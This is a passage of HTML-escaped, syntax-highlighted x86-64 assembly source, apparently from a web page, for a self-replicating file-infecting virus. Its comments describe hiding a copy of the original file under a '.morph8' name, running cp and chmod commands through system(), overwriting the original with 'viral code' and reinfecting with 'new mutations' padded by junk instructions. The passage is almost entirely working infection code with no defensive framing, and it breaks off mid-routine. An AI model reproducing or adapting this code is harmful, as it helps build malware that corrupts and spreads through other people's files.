    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;             &lt;span class="c1"&gt;; hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;O_RDONLY&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.fallback&lt;/span&gt;             &lt;span class="c1"&gt;; File doesn't exist, create backup&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_close&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.infect_orgi&lt;/span&gt;         &lt;span class="c1"&gt;; Proceed to reinfect with new mutations&lt;/span&gt;

&lt;span class="nl"&gt;.fallback:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;             &lt;span class="c1"&gt;; Use first section for command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;cp_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;             &lt;span class="c1"&gt;; original filename&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;             &lt;span class="c1"&gt;; hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="nv"&gt;rintf_two_args&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;system_call&lt;/span&gt;

    &lt;span class="c1"&gt;; Set permissions on hidden file&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;             &lt;span class="c1"&gt;; Use second section for chmod command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;ch&lt;/span&gt;&lt;span class="nv"&gt;mod_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;             &lt;span class="c1"&gt;; hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="nv"&gt;rintf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;system_call&lt;/span&gt;

&lt;span class="nl"&gt;.infect_orgi:&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;768&lt;/span&gt;

    &lt;span class="c1"&gt;; 2: Replace original file with viral code&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;             &lt;span class="c1"&gt;; original filename&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;code&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;write_f&lt;/span&gt;

&lt;span class="nl"&gt;.d_skip:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;;; payload execution&lt;/span&gt;
&lt;span class="nl"&gt;execute:&lt;/span&gt;                        &lt;span class="c1"&gt;; virus payload&lt;/span&gt;
    &lt;span class="nf"&gt;JUNK&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;msg_cat&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strlen&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;msg_cat&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_write&lt;/span&gt;
    &lt;span class="nf"&gt;JUNK&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;hidden_name:&lt;/span&gt;                    &lt;span class="c1"&gt;; create .morph8&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;hidden_prefix&lt;/span&gt;

&lt;span class="nl"&gt;.check_prefix:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.already_one&lt;/span&gt;          &lt;span class="c1"&gt;; it matches&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.add_prefix&lt;/span&gt;          &lt;span class="c1"&gt;; Mismatch&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.check_prefix&lt;/span&gt;

&lt;span class="nl"&gt;.already_one:&lt;/span&gt;
    &lt;span class="c1"&gt;; File already has .morph8 prefix, just copy it&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cp_file&lt;/span&gt;

&lt;span class="nl"&gt;.add_prefix:&lt;/span&gt;
    &lt;span class="c1"&gt;; Add .morph8 prefix&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'.'&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'m'&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'o'&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'r'&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'p'&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'h'&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'8'&lt;/span&gt;

    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;

&lt;span class="nl"&gt;.cp_file:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cp_file&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sprintf:&lt;/span&gt;                        &lt;span class="c1"&gt;; basic string formatting&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;                 &lt;span class="c1"&gt;; dst&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;                 &lt;span class="c1"&gt;; string&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;                &lt;span class="c1"&gt;; arg&lt;/span&gt;

&lt;span class="nl"&gt;.scan_format:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.found_percent&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.scan_format&lt;/span&gt;

&lt;span class="nl"&gt;.found_percent:&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'s'&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.cp_arg&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.cp_percent&lt;/span&gt;

    &lt;span class="c1"&gt;; Unknown format, copy literally&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.scan_format&lt;/span&gt;

&lt;span class="nl"&gt;.cp_percent:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.scan_format&lt;/span&gt;

&lt;span class="nl"&gt;.cp_arg:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;
&lt;span class="nl"&gt;.cp_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.cp_done&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cp_loop&lt;/span&gt;

&lt;span class="nl"&gt;.cp_done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.scan_format&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sprintf_two_args:&lt;/span&gt;               &lt;span class="c1"&gt;; string with two args&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r11&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;                 &lt;span class="c1"&gt;; dst buffer&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;                 &lt;span class="c1"&gt;; string&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;                &lt;span class="c1"&gt;; 1 arg&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;                &lt;span class="c1"&gt;; 2 arg&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;                &lt;span class="c1"&gt;; arg cnt&lt;/span&gt;

&lt;span class="nl"&gt;.cp_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.handle_format&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cp_loop&lt;/span&gt;

&lt;span class="nl"&gt;.handle_format:&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'s'&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.cp_string&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
